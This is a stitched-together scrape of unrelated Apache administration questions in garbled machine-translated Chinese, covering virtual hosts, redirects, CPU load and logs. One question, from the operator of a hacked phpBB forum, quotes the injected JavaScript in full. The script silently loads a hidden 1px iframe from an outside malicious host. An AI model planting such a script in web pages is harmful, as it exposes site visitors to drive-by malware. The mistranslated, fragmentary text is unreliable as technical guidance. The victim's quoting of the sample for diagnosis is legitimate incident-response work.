我怎样才能改变域名的输出(当然包括斜线( / ))? 我真的很喜欢的url结束在域名,而不是有一个丑陋的index.html那里。 为了进一步解释:当使用WWW限定的URL(例如www.example.com )时,Apache正在返回页面,但是当只使用domainname.tld( example.com )时,它只是给出了“It Works! “ 信息。
Apache保持访问日志多久?
随机Apache似乎吓坏了,吃掉了CPU的使用,并淹没服务器。 每日浏览量只有8000左右,所以它可以肯定地处理这个stream量。 这似乎也是随机发生的。 有没有人听说过这种情况以及可能的解决scheme? 一些基本的服务器统计:运行WHM / Cpanel最新稳定的4G内存Xeon CPU X3430 @ 2.40GHz。 Apache:2.2.17 PHP:5.2.17 w / eAccelerator 最佳: top – 16:41:12 up 7:15, 1 user, load average: 2.77, 2.23, 1.91 Tasks: 79 total, 4 running, 75 sleeping, 0 stopped, 0 zombie Cpu(s): 88.4% us, 2.5% sy, 0.0% ni, 9.1% id, 0.1% wa, 0.0% hi, 0.0% si […]
对不起,如果这是一个基本的问题,但是当我search答案,没有什么真的似乎告诉我哪里把这个指令在Apache2(我正在处理416范围请求错误)。
我使用的是Apache 2.2 我的网站适用于以下url: example.com en.example.com 所以,我想将所有其他(www.example.com,www2.example.com等)redirect到example.com 我将如何做到尊重这两个有效的url?
可能重复: 我的服务器被黑了应急 我的服务器被攻击了吗? 我的Apache服务器受到攻击,PHPbb3论坛安装了几个文件,修改后显示一个iFrame。 该攻击插入了一个phpvariables和值,然后解码为JavaScript命令客户端加载一个带有外部内容的iFrame。 此外,我的HEADER.html(头文件的Apache目录浏览)文件被修改和潜在的其他人。 注入的php中使用的variables名称是“$ somecrainsignvar”。 我在网上发现类似的攻击。 我知道也许福州的软件已经过时了,潜在的安全漏洞,或者服务器上的其他部分可能是潜在的漏洞,但是通过htpasswd / htaccess限制所有访问服务器,因此我不明白攻击者/机器人如何能够进行任何更改甚至访问该网站。 任何帮助将不胜感激。 还附加了通过PHP注入的JavaScript代码。 <script type="text/javascript">document.writeln("<body>");var el = document.createElement("iframe");document.body.appendChild(el);el.id = 'myname';el.name = 'myname';el.style.width = "1px";el.style.height ="1px";el.scrolling="auto";el.frameBorder="0";el.src = "http://farenta.in/gb/us.php";</script>
我有一个Apache2服务器设置与几个虚拟主机,它都可以正常工作。 导航到我的IP呈现其中一个虚拟主机( /etc/apache2/sites-enabled/main_site.com ),到目前为止,我想。 现在我想要IP到默认的虚拟主机/etc/apache2/sites-enabled/default ,但我不记得在哪里改变。 我假设在/etc/apache2/apache2.conf有一些指令,但没有任何东西在我身上。 任何帮助,将不胜感激。 ➜ /etc/apache2: ls sites-enabled/ default micro_main_1.com micro_main_2.com main.com sub1.main.com micro_main_3.biz micro_main_4.com main_site.com sub1.main2.com micro_main_5.biz ➜ /etc/apache2/sites-enabled: cat default NameVirtualHost * <VirtualHost *> ServerAdmin webmaster@localhost DocumentRoot /var/www/ <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory> […]
我的开发机器(Ubuntu 11.04)在apache2上有许多rails应用程序站点。 其中一个站点configuration是这样的。 <VirtualHost 192.168.1.7:80> DocumentRoot /home/ssk/dev/base3/sam/public ServerName base3.sam.codepremise.com RailsEnv development <directory /home/ssk/dev/base3/sam/public> Options FollowSymLinks AllowOverride None Order allow,deny Allow from all </directory> </VirtualHost> 在同一台机器上还有许多其他类似的网站。 我对修复IP感到不安。 所以我改变了其中一个网站,如下所示。 <VirtualHost *:80> DocumentRoot /home/ssk/dev/base3/sam/public ServerName base3.sam.codepremise.com RailsEnv development <directory /home/ssk/dev/base3/sam/public> Options FollowSymLinks AllowOverride None Order allow,deny Allow from all </directory> </VirtualHost> 我重新启动了Apache。 但是,该网站不工作,而是当我从浏览器请求时,其他网站出现。 为什么通配符不起作用?
最近DirectAdmin的底层脚本出现了一个错误,在用户创build了各自的域之后,DA无法重新加载Apache服务以使新configuration生效,从而在调用所述域时导致404错误。 我想知道可能是什么问题,如何解决?
通过apt-get安装apache或需要从源代码编译它会在安全方面有所作为?